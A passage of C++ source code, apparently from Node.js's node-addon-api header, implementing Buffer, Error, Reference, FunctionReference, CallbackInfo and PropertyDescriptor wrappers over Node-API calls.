nullptr}); #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED napi_value value; napi_status status = napi_create_external_buffer(env, length * sizeof(T), data, details::FinalizeData::Wrapper, finalizeData, &value); if (status == details::napi_no_external_buffers_allowed) { #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED // If we can't create an external buffer, we'll just copy the data. Buffer ret = Buffer::Copy(env, data, length); details::FinalizeData::WrapperGC(env, data, finalizeData); return ret; #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED } if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, Buffer()); } return Buffer(env, value); #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED } template template inline Buffer Buffer::NewOrCopy(napi_env env, T* data, size_t length, Finalizer finalizeCallback, Hint* finalizeHint) { details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), finalizeHint}); #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED napi_value value; napi_status status = napi_create_external_buffer( env, length * sizeof(T), data, details::FinalizeData::WrapperWithHint, finalizeData, &value); if (status == details::napi_no_external_buffers_allowed) { #endif // If we can't create an external buffer, we'll just copy the data. Buffer ret = Buffer::Copy(env, data, length); details::FinalizeData::WrapperGCWithHint( env, data, finalizeData); return ret; #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED } if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, Buffer()); } return Buffer(env, value); #endif } template inline Buffer Buffer::Copy(napi_env env, const T* data, size_t length) { napi_value value; napi_status status = napi_create_buffer_copy(env, length * sizeof(T), data, nullptr, &value); NAPI_THROW_IF_FAILED(env, status, Buffer()); return Buffer(env, value); } template inline void Buffer::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Buffer::CheckCast", "empty value"); bool result; napi_status status = napi_is_buffer(env, value, &result); NAPI_CHECK(status == napi_ok, "Buffer::CheckCast", "napi_is_buffer failed"); NAPI_CHECK(result, "Buffer::CheckCast", "value is not buffer"); } template inline Buffer::Buffer() : Uint8Array() {} template inline Buffer::Buffer(napi_env env, napi_value value) : Uint8Array(env, value) {} template inline size_t Buffer::Length() const { return ByteLength() / sizeof(T); } template inline T* Buffer::Data() const { return reinterpret_cast(const_cast(Uint8Array::Data())); } //////////////////////////////////////////////////////////////////////////////// // Error class //////////////////////////////////////////////////////////////////////////////// inline Error Error::New(napi_env env) { napi_status status; napi_value error = nullptr; bool is_exception_pending; napi_extended_error_info last_error_info_copy; { // We must retrieve the last error info before doing anything else because // doing anything else will replace the last error info. const napi_extended_error_info* last_error_info; status = napi_get_last_error_info(env, &last_error_info); NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_get_last_error_info"); // All fields of the `napi_extended_error_info` structure gets reset in // subsequent Node-API function calls on the same `env`. This includes a // call to `napi_is_exception_pending()`. So here it is necessary to make a // copy of the information as the `error_code` field is used later on. memcpy(&last_error_info_copy, last_error_info, sizeof(napi_extended_error_info)); } status = napi_is_exception_pending(env, &is_exception_pending); NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_is_exception_pending"); // A pending exception takes precedence over any internal error status. if (is_exception_pending) { status = napi_get_and_clear_last_exception(env, &error); NAPI_FATAL_IF_FAILED( status, "Error::New", "napi_get_and_clear_last_exception"); } else { const char* error_message = last_error_info_copy.error_message != nullptr ? last_error_info_copy.error_message : "Error in native callback"; napi_value message; status = napi_create_string_utf8( env, error_message, std::strlen(error_message), &message); NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_create_string_utf8"); switch (last_error_info_copy.error_code) { case napi_object_expected: case napi_string_expected: case napi_boolean_expected: case napi_number_expected: status = napi_create_type_error(env, nullptr, message, &error); break; default: status = napi_create_error(env, nullptr, message, &error); break; } NAPI_FATAL_IF_FAILED(status, "Error::New", "napi_create_error"); } return Error(env, error); } inline Error Error::New(napi_env env, const char* message) { return Error::New( env, message, std::strlen(message), napi_create_error); } inline Error Error::New(napi_env env, const std::string& message) { return Error::New( env, message.c_str(), message.size(), napi_create_error); } inline NAPI_NO_RETURN void Error::Fatal(const char* location, const char* message) { napi_fatal_error(location, NAPI_AUTO_LENGTH, message, NAPI_AUTO_LENGTH); } inline Error::Error() : ObjectReference() {} inline Error::Error(napi_env env, napi_value value) : ObjectReference(env, nullptr) { if (value != nullptr) { // Attempting to create a reference on the error object. // If it's not a Object/Function/Symbol, this call will return an error // status. napi_status status = napi_create_reference(env, value, 1, &_ref); if (status != napi_ok) { napi_value wrappedErrorObj; // Create an error object status = napi_create_object(env, &wrappedErrorObj); NAPI_FATAL_IF_FAILED(status, "Error::Error", "napi_create_object"); // property flag that we attach to show the error object is wrapped napi_property_descriptor wrapObjFlag = { ERROR_WRAP_VALUE(), // Unique GUID identifier since Symbol isn't a // viable option nullptr, nullptr, nullptr, nullptr, Value::From(env, value), napi_enumerable, nullptr}; status = napi_define_properties(env, wrappedErrorObj, 1, &wrapObjFlag); #ifdef NODE_API_SWALLOW_UNTHROWABLE_EXCEPTIONS if (status == napi_pending_exception) { // Test if the pending exception was reported because the environment is // shutting down. We assume that a status of napi_pending_exception // coupled with the absence of an actual pending exception means that // the environment is shutting down. If so, we replace the // napi_pending_exception status with napi_ok. bool is_exception_pending = false; status = napi_is_exception_pending(env, &is_exception_pending); if (status == napi_ok && !is_exception_pending) { status = napi_ok; } else { status = napi_pending_exception; } } #endif // NODE_API_SWALLOW_UNTHROWABLE_EXCEPTIONS NAPI_FATAL_IF_FAILED(status, "Error::Error", "napi_define_properties"); // Create a reference on the newly wrapped object status = napi_create_reference(env, wrappedErrorObj, 1, &_ref); } // Avoid infinite recursion in the failure case. NAPI_FATAL_IF_FAILED(status, "Error::Error", "napi_create_reference"); } } inline Object Error::Value() const { if (_ref == nullptr) { return Object(_env, nullptr); } napi_value refValue; napi_status status = napi_get_reference_value(_env, _ref, &refValue); NAPI_THROW_IF_FAILED(_env, status, Object()); napi_valuetype type; status = napi_typeof(_env, refValue, &type); NAPI_THROW_IF_FAILED(_env, status, Object()); // If refValue isn't a symbol, then we proceed to whether the refValue has the // wrapped error flag if (type != napi_symbol) { // We are checking if the object is wrapped bool isWrappedObject = false; status = napi_has_property(_env, refValue, String::From(_env, ERROR_WRAP_VALUE()), &isWrappedObject); // Don't care about status if (isWrappedObject) { napi_value unwrappedValue; status = napi_get_property(_env, refValue, String::From(_env, ERROR_WRAP_VALUE()), &unwrappedValue); NAPI_THROW_IF_FAILED(_env, status, Object()); return Object(_env, unwrappedValue); } } return Object(_env, refValue); } inline Error::Error(Error&& other) : ObjectReference(std::move(other)) {} inline Error& Error::operator=(Error&& other) { static_cast*>(this)->operator=(std::move(other)); return *this; } inline Error::Error(const Error& other) : ObjectReference(other) {} inline Error& Error::operator=(const Error& other) { Reset(); _env = other.Env(); HandleScope scope(_env); napi_value value = other.Value(); if (value != nullptr) { napi_status status = napi_create_reference(_env, value, 1, &_ref); NAPI_THROW_IF_FAILED(_env, status, *this); } return *this; } inline const std::string& Error::Message() const NAPI_NOEXCEPT { if (_message.size() == 0 && _env != nullptr) { #ifdef NODE_ADDON_API_CPP_EXCEPTIONS try { _message = Get("message").As(); } catch (...) { // Catch all errors here, to include e.g. a std::bad_alloc from // the std::string::operator=, because this method may not throw. } #else // NODE_ADDON_API_CPP_EXCEPTIONS #if defined(NODE_ADDON_API_ENABLE_MAYBE) Napi::Value message_val; if (Get("message").UnwrapTo(&message_val)) { _message = message_val.As(); } #else _message = Get("message").As(); #endif #endif // NODE_ADDON_API_CPP_EXCEPTIONS } return _message; } // we created an object on the &_ref inline void Error::ThrowAsJavaScriptException() const { HandleScope scope(_env); if (!IsEmpty()) { #ifdef NODE_API_SWALLOW_UNTHROWABLE_EXCEPTIONS bool pendingException = false; // check if there is already a pending exception. If so don't try to throw a // new one as that is not allowed/possible napi_status status = napi_is_exception_pending(_env, &pendingException); if ((status != napi_ok) || ((status == napi_ok) && (pendingException == false))) { // We intentionally don't use `NAPI_THROW_*` macros here to ensure // that there is no possible recursion as `ThrowAsJavaScriptException` // is part of `NAPI_THROW_*` macro definition for noexcept. status = napi_throw(_env, Value()); #if (NAPI_VERSION >= 10) napi_status expected_failure_mode = napi_cannot_run_js; #else napi_status expected_failure_mode = napi_pending_exception; #endif if (status == expected_failure_mode) { // The environment must be terminating as we checked earlier and there // was no pending exception. In this case continuing will result // in a fatal error and there is nothing the author has done incorrectly // in their code that is worth flagging through a fatal error return; } } else { status = napi_pending_exception; } #else // We intentionally don't use `NAPI_THROW_*` macros here to ensure // that there is no possible recursion as `ThrowAsJavaScriptException` // is part of `NAPI_THROW_*` macro definition for noexcept. napi_status status = napi_throw(_env, Value()); #endif #ifdef NODE_ADDON_API_CPP_EXCEPTIONS if (status != napi_ok) { throw Error::New(_env); } #else // NODE_ADDON_API_CPP_EXCEPTIONS NAPI_FATAL_IF_FAILED( status, "Error::ThrowAsJavaScriptException", "napi_throw"); #endif // NODE_ADDON_API_CPP_EXCEPTIONS } } #ifdef NODE_ADDON_API_CPP_EXCEPTIONS inline const char* Error::what() const NAPI_NOEXCEPT { return Message().c_str(); } #endif // NODE_ADDON_API_CPP_EXCEPTIONS inline const char* Error::ERROR_WRAP_VALUE() NAPI_NOEXCEPT { return "4bda9e7e-4913-4dbc-95de-891cbf66598e-errorVal"; } template inline TError Error::New(napi_env env, const char* message, size_t length, create_error_fn create_error) { napi_value str; napi_status status = napi_create_string_utf8(env, message, length, &str); NAPI_THROW_IF_FAILED(env, status, TError()); napi_value error; status = create_error(env, nullptr, str, &error); NAPI_THROW_IF_FAILED(env, status, TError()); return TError(env, error); } inline TypeError TypeError::New(napi_env env, const char* message) { return Error::New( env, message, std::strlen(message), napi_create_type_error); } inline TypeError TypeError::New(napi_env env, const std::string& message) { return Error::New( env, message.c_str(), message.size(), napi_create_type_error); } inline TypeError::TypeError() : Error() {} inline TypeError::TypeError(napi_env env, napi_value value) : Error(env, value) {} inline RangeError RangeError::New(napi_env env, const char* message) { return Error::New( env, message, std::strlen(message), napi_create_range_error); } inline RangeError RangeError::New(napi_env env, const std::string& message) { return Error::New( env, message.c_str(), message.size(), napi_create_range_error); } inline RangeError::RangeError() : Error() {} inline RangeError::RangeError(napi_env env, napi_value value) : Error(env, value) {} #if NAPI_VERSION > 8 inline SyntaxError SyntaxError::New(napi_env env, const char* message) { return Error::New( env, message, std::strlen(message), node_api_create_syntax_error); } inline SyntaxError SyntaxError::New(napi_env env, const std::string& message) { return Error::New( env, message.c_str(), message.size(), node_api_create_syntax_error); } inline SyntaxError::SyntaxError() : Error() {} inline SyntaxError::SyntaxError(napi_env env, napi_value value) : Error(env, value) {} #endif // NAPI_VERSION > 8 //////////////////////////////////////////////////////////////////////////////// // Reference class //////////////////////////////////////////////////////////////////////////////// template inline Reference Reference::New(const T& value, uint32_t initialRefcount) { napi_env env = value.Env(); napi_value val = value; if (val == nullptr) { return Reference(env, nullptr); } napi_ref ref; napi_status status = napi_create_reference(env, value, initialRefcount, &ref); NAPI_THROW_IF_FAILED(env, status, Reference()); return Reference(env, ref); } template inline Reference::Reference() : _env(nullptr), _ref(nullptr), _suppressDestruct(false) {} template inline Reference::Reference(napi_env env, napi_ref ref) : _env(env), _ref(ref), _suppressDestruct(false) {} template inline Reference::~Reference() { if (_ref != nullptr) { if (!_suppressDestruct) { // TODO(legendecas): napi_delete_reference should be invoked immediately. // Fix this when https://github.com/nodejs/node/pull/55620 lands. #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER Env().PostFinalizer( [](Napi::Env env, napi_ref ref) { napi_delete_reference(env, ref); }, _ref); #else napi_delete_reference(_env, _ref); #endif } _ref = nullptr; } } template inline Reference::Reference(Reference&& other) : _env(other._env), _ref(other._ref), _suppressDestruct(other._suppressDestruct) { other._env = nullptr; other._ref = nullptr; other._suppressDestruct = false; } template inline Reference& Reference::operator=(Reference&& other) { Reset(); _env = other._env; _ref = other._ref; _suppressDestruct = other._suppressDestruct; other._env = nullptr; other._ref = nullptr; other._suppressDestruct = false; return *this; } template inline Reference::Reference(const Reference& other) : _env(other._env), _ref(nullptr), _suppressDestruct(false) { HandleScope scope(_env); napi_value value = other.Value(); if (value != nullptr) { // Copying is a limited scenario (currently only used for Error object) and // always creates a strong reference to the given value even if the incoming // reference is weak. napi_status status = napi_create_reference(_env, value, 1, &_ref); NAPI_FATAL_IF_FAILED( status, "Reference::Reference", "napi_create_reference"); } } template inline Reference::operator napi_ref() const { return _ref; } template inline bool Reference::operator==(const Reference& other) const { HandleScope scope(_env); return this->Value().StrictEquals(other.Value()); } template inline bool Reference::operator!=(const Reference& other) const { return !this->operator==(other); } template inline Napi::Env Reference::Env() const { return Napi::Env(_env); } template inline bool Reference::IsEmpty() const { return _ref == nullptr; } template inline T Reference::Value() const { if (_ref == nullptr) { return T(_env, nullptr); } napi_value value; napi_status status = napi_get_reference_value(_env, _ref, &value); NAPI_THROW_IF_FAILED(_env, status, T()); return T(_env, value); } template inline uint32_t Reference::Ref() const { uint32_t result; napi_status status = napi_reference_ref(_env, _ref, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } template inline uint32_t Reference::Unref() const { uint32_t result; napi_status status = napi_reference_unref(_env, _ref, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } template inline void Reference::Reset() { if (_ref != nullptr) { napi_status status = napi_delete_reference(_env, _ref); NAPI_THROW_IF_FAILED_VOID(_env, status); _ref = nullptr; } } template inline void Reference::Reset(const T& value, uint32_t refcount) { Reset(); _env = value.Env(); napi_value val = value; if (val != nullptr) { napi_status status = napi_create_reference(_env, value, refcount, &_ref); NAPI_THROW_IF_FAILED_VOID(_env, status); } } template inline void Reference::SuppressDestruct() { _suppressDestruct = true; } template inline Reference Weak(T value) { return Reference::New(value, 0); } inline ObjectReference Weak(Object value) { return Reference::New(value, 0); } inline FunctionReference Weak(Function value) { return Reference::New(value, 0); } template inline Reference Persistent(T value) { return Reference::New(value, 1); } inline ObjectReference Persistent(Object value) { return Reference::New(value, 1); } inline FunctionReference Persistent(Function value) { return Reference::New(value, 1); } //////////////////////////////////////////////////////////////////////////////// // ObjectReference class //////////////////////////////////////////////////////////////////////////////// inline ObjectReference::ObjectReference() : Reference() {} inline ObjectReference::ObjectReference(napi_env env, napi_ref ref) : Reference(env, ref) {} inline ObjectReference::ObjectReference(Reference&& other) : Reference(std::move(other)) {} inline ObjectReference& ObjectReference::operator=(Reference&& other) { static_cast*>(this)->operator=(std::move(other)); return *this; } inline ObjectReference::ObjectReference(ObjectReference&& other) : Reference(std::move(other)) {} inline ObjectReference& ObjectReference::operator=(ObjectReference&& other) { static_cast*>(this)->operator=(std::move(other)); return *this; } inline ObjectReference::ObjectReference(const ObjectReference& other) : Reference(other) {} inline MaybeOrValue ObjectReference::Get( const char* utf8name) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Get(utf8name); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue ObjectReference::Get( const std::string& utf8name) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Get(utf8name); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue ObjectReference::Set(const char* utf8name, napi_value value) const { HandleScope scope(_env); return Value().Set(utf8name, value); } inline MaybeOrValue ObjectReference::Set(const char* utf8name, Napi::Value value) const { HandleScope scope(_env); return Value().Set(utf8name, value); } inline MaybeOrValue ObjectReference::Set(const char* utf8name, const char* utf8value) const { HandleScope scope(_env); return Value().Set(utf8name, utf8value); } inline MaybeOrValue ObjectReference::Set(const char* utf8name, bool boolValue) const { HandleScope scope(_env); return Value().Set(utf8name, boolValue); } inline MaybeOrValue ObjectReference::Set(const char* utf8name, double numberValue) const { HandleScope scope(_env); return Value().Set(utf8name, numberValue); } inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, napi_value value) const { HandleScope scope(_env); return Value().Set(utf8name, value); } inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, Napi::Value value) const { HandleScope scope(_env); return Value().Set(utf8name, value); } inline MaybeOrValue ObjectReference::Set( const std::string& utf8name, const std::string& utf8value) const { HandleScope scope(_env); return Value().Set(utf8name, utf8value); } inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, bool boolValue) const { HandleScope scope(_env); return Value().Set(utf8name, boolValue); } inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, double numberValue) const { HandleScope scope(_env); return Value().Set(utf8name, numberValue); } inline MaybeOrValue ObjectReference::Get(uint32_t index) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Get(index); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue ObjectReference::Set(uint32_t index, napi_value value) const { HandleScope scope(_env); return Value().Set(index, value); } inline MaybeOrValue ObjectReference::Set(uint32_t index, Napi::Value value) const { HandleScope scope(_env); return Value().Set(index, value); } inline MaybeOrValue ObjectReference::Set(uint32_t index, const char* utf8value) const { HandleScope scope(_env); return Value().Set(index, utf8value); } inline MaybeOrValue ObjectReference::Set( uint32_t index, const std::string& utf8value) const { HandleScope scope(_env); return Value().Set(index, utf8value); } inline MaybeOrValue ObjectReference::Set(uint32_t index, bool boolValue) const { HandleScope scope(_env); return Value().Set(index, boolValue); } inline MaybeOrValue ObjectReference::Set(uint32_t index, double numberValue) const { HandleScope scope(_env); return Value().Set(index, numberValue); } //////////////////////////////////////////////////////////////////////////////// // FunctionReference class //////////////////////////////////////////////////////////////////////////////// inline FunctionReference::FunctionReference() : Reference() {} inline FunctionReference::FunctionReference(napi_env env, napi_ref ref) : Reference(env, ref) {} inline FunctionReference::FunctionReference(Reference&& other) : Reference(std::move(other)) {} inline FunctionReference& FunctionReference::operator=( Reference&& other) { static_cast*>(this)->operator=(std::move(other)); return *this; } inline FunctionReference::FunctionReference(FunctionReference&& other) : Reference(std::move(other)) {} inline FunctionReference& FunctionReference::operator=( FunctionReference&& other) { static_cast*>(this)->operator=(std::move(other)); return *this; } inline MaybeOrValue FunctionReference::operator()( const std::initializer_list& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value()(args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::Call( const std::initializer_list& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Call(args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::Call( const std::vector& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Call(args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::Call( napi_value recv, const std::initializer_list& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Call(recv, args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::Call( napi_value recv, const std::vector& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Call(recv, args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::Call( napi_value recv, size_t argc, const napi_value* args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().Call(recv, argc, args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::MakeCallback( napi_value recv, const std::initializer_list& args, napi_async_context context) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().MakeCallback(recv, args, context); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::MakeCallback( napi_value recv, const std::vector& args, napi_async_context context) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().MakeCallback(recv, args, context); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::MakeCallback( napi_value recv, size_t argc, const napi_value* args, napi_async_context context) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().MakeCallback(recv, argc, args, context); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap())); } return result; #else if (scope.Env().IsExceptionPending()) { return Value(); } return scope.Escape(result); #endif } inline MaybeOrValue FunctionReference::New( const std::initializer_list& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().New(args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap()).As()); } return result; #else if (scope.Env().IsExceptionPending()) { return Object(); } return scope.Escape(result).As(); #endif } inline MaybeOrValue FunctionReference::New( const std::vector& args) const { EscapableHandleScope scope(_env); MaybeOrValue result = Value().New(args); #ifdef NODE_ADDON_API_ENABLE_MAYBE if (result.IsJust()) { return Just(scope.Escape(result.Unwrap()).As()); } return result; #else if (scope.Env().IsExceptionPending()) { return Object(); } return scope.Escape(result).As(); #endif } //////////////////////////////////////////////////////////////////////////////// // CallbackInfo class //////////////////////////////////////////////////////////////////////////////// inline CallbackInfo::CallbackInfo(napi_env env, napi_callback_info info) : _env(env), _info(info), _this(nullptr), _dynamicArgs(nullptr), _data(nullptr) { _argc = _staticArgCount; _argv = _staticArgs; napi_status status = napi_get_cb_info(env, info, &_argc, _argv, &_this, &_data); NAPI_THROW_IF_FAILED_VOID(_env, status); if (_argc > _staticArgCount) { // Use either a fixed-size array (on the stack) or a dynamically-allocated // array (on the heap) depending on the number of args. _dynamicArgs = new napi_value[_argc]; _argv = _dynamicArgs; status = napi_get_cb_info(env, info, &_argc, _argv, nullptr, nullptr); NAPI_THROW_IF_FAILED_VOID(_env, status); } } inline CallbackInfo::~CallbackInfo() { if (_dynamicArgs != nullptr) { delete[] _dynamicArgs; } } inline CallbackInfo::operator napi_callback_info() const { return _info; } inline Value CallbackInfo::NewTarget() const { napi_value newTarget; napi_status status = napi_get_new_target(_env, _info, &newTarget); NAPI_THROW_IF_FAILED(_env, status, Value()); return Value(_env, newTarget); } inline bool CallbackInfo::IsConstructCall() const { return !NewTarget().IsEmpty(); } inline Napi::Env CallbackInfo::Env() const { return Napi::Env(_env); } inline size_t CallbackInfo::Length() const { return _argc; } inline const Value CallbackInfo::operator[](size_t index) const { return index < _argc ? Value(_env, _argv[index]) : Env().Undefined(); } inline Value CallbackInfo::This() const { if (_this == nullptr) { return Env().Undefined(); } return Object(_env, _this); } inline void* CallbackInfo::Data() const { return _data; } inline void CallbackInfo::SetData(void* data) { _data = data; } //////////////////////////////////////////////////////////////////////////////// // PropertyDescriptor class //////////////////////////////////////////////////////////////////////////////// template PropertyDescriptor PropertyDescriptor::Accessor( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.getter = details::TemplatedCallback; desc.attributes = attributes; desc.data = data; return desc; } template PropertyDescriptor PropertyDescriptor::Accessor( const std::string& utf8name, napi_property_attributes attributes, void* data) { return Accessor(utf8name.c_str(), attributes, data); } template PropertyDescriptor PropertyDescriptor::Accessor( Name name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.getter = details::TemplatedCallback; desc.attributes = attributes; desc.data = data; return desc; } template PropertyDescriptor PropertyDescriptor::Accessor( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.getter = details::TemplatedCallback; desc.setter = details::TemplatedVoidCallback; desc.attributes = attributes; desc.data = data; return desc; } template PropertyDescriptor PropertyDescriptor::Accessor( const std::string& utf8name, napi_property_attributes attributes, void* data) { return Accessor(utf8name.c_str(), attributes, data); } template PropertyDescriptor PropertyDescriptor::Accessor( Name name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.getter = details::TemplatedCallback; desc.setter = details::TemplatedVoidCallback; desc.attributes = attributes; desc.data = data; return desc; } template inline PropertyDescriptor PropertyDescriptor::Accessor( Napi::Env env, Napi::Object object, const char* utf8name, Getter getter, napi_property_attributes attributes, void* data) { using CbData = details::CallbackData; auto callbackData = new CbData({getter, data}); napi_status status = AttachData(env, object, callbackData); if (status != napi_ok) { delete callbackData; NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); } return PropertyDescriptor({utf8name, nullptr, nullptr, CbData::Wrapper, nullptr, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Napi::Env env, Napi::Object object, const std::string& utf8name, Getter getter, napi_property_attributes attributes, void* data) { return Accessor(env, object, utf8name.c_str(), getter, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Napi::Env env, Napi::Object object, Name name, Getter getter, napi_property_attributes attributes, void* data) { using CbData = details::CallbackData; auto callbackData = new CbData({getter, data}); napi_status status = AttachData(env, object, callbackData); if (status != napi_ok) { delete callbackData; NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); } return PropertyDescriptor({nullptr, name, nullptr, CbData::Wrapper, nullptr, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Napi::Env env, Napi::Object object, const char* utf8name, Getter getter, Setter setter, napi_property_attributes attributes, void* data) { using CbData = details::AccessorCallbackData; auto callbackData = new CbData({getter, setter, data}); napi_status status = AttachData(env, object, callbackData); if (status != napi_ok) { delete callbackData; NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); } return PropertyDescriptor({utf8name, nullptr, nullptr, CbData::GetterWrapper, CbData::SetterWrapper, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Napi::Env env, Napi::Object object, const std::string& utf8name, Getter getter, Setter setter, napi_property_attributes attributes, void* data) { return Accessor( env, object, utf8name.c_str(), getter, setter, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Napi::Env env, Napi::Object object, Name name, Getter getter, Setter setter, napi_property_attributes attributes, void* data) { using CbData = details::AccessorCallbackData; auto callbackData = new CbData({getter, setter, data}); napi_status status = AttachData(env, object, callbackData); if (status != napi_ok) { delete callbackData; NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); } return PropertyDescriptor({nullptr, name, nullptr, CbData::GetterWrapper, CbData::SetterWrapper, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Function( Napi::Env env, Napi::Object /*object*/, const char* utf8name, Callable cb, napi_property_attributes attributes, void* data) { return PropertyDescriptor({utf8name, nullptr, nullptr, nullptr, nullptr, Napi::Function::New(env, cb, utf8name, data), attributes, nullptr}); } template inline PropertyDescriptor PropertyDescriptor::Function( Napi::Env env, Napi::Object object, const std::string& utf8name, Callable cb, napi_property_attributes attributes, void* data) { return Function(env, object, utf8name.c_str(), cb, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Function( Napi::Env env, Napi::Object /*object*/, Name name, Callable cb, napi_property_attributes attributes, void* data) { return PropertyDescriptor({nullptr, name, nullptr, nullptr, nullptr, Napi::Function::New(env, cb, nullptr, data), attributes, nullptr}); } inline PropertyDescriptor PropertyDescriptor::Value( const char* utf8name, napi_value value, napi_property_attributes attributes) { return PropertyDescriptor({utf8name, nullptr, nullptr, nullptr, nullptr, value, attributes, nullptr}); } inline PropertyDescriptor PropertyDescriptor::Value( const std::string& utf8name, napi_value value, napi_property_attributes attributes) { return Value(utf8name.c_str(), value, attributes); } inline PropertyDescriptor PropertyDescriptor::Value( napi_value name, napi_value value, napi_property_attributes attributes) { return PropertyDescriptor( {nullptr, name, nullptr, nullptr, nullptr, value, attributes, nullptr}); } inline PropertyDescriptor PropertyDescriptor::Value( Name name, Napi::Value value, napi_property_attributes attributes) { napi_value nameValue = name; napi_value valueValue = value; return PropertyDescriptor::Value(nameValue, valueValue, attributes); } inline PropertyDescriptor::PropertyDescriptor(napi_property_descriptor desc) : _desc(desc) {} inline PropertyDescriptor::operator napi_property_descriptor&() { return _desc; } inline PropertyDescriptor::operator const napi_property_descriptor&() const { return _desc; } //////////////////////////////////////////////////////////////////////////////// // InstanceWrap class //////////////////////////////////////////////////////////////////////////////// template inline void InstanceWrap::AttachPropData( napi_env env, napi_value value, const napi_property_descriptor* prop) { napi_status status; if (!(prop->attributes & napi_static)) { if (prop->method == T::InstanceVoidMethodCallbackWrapper) { status = 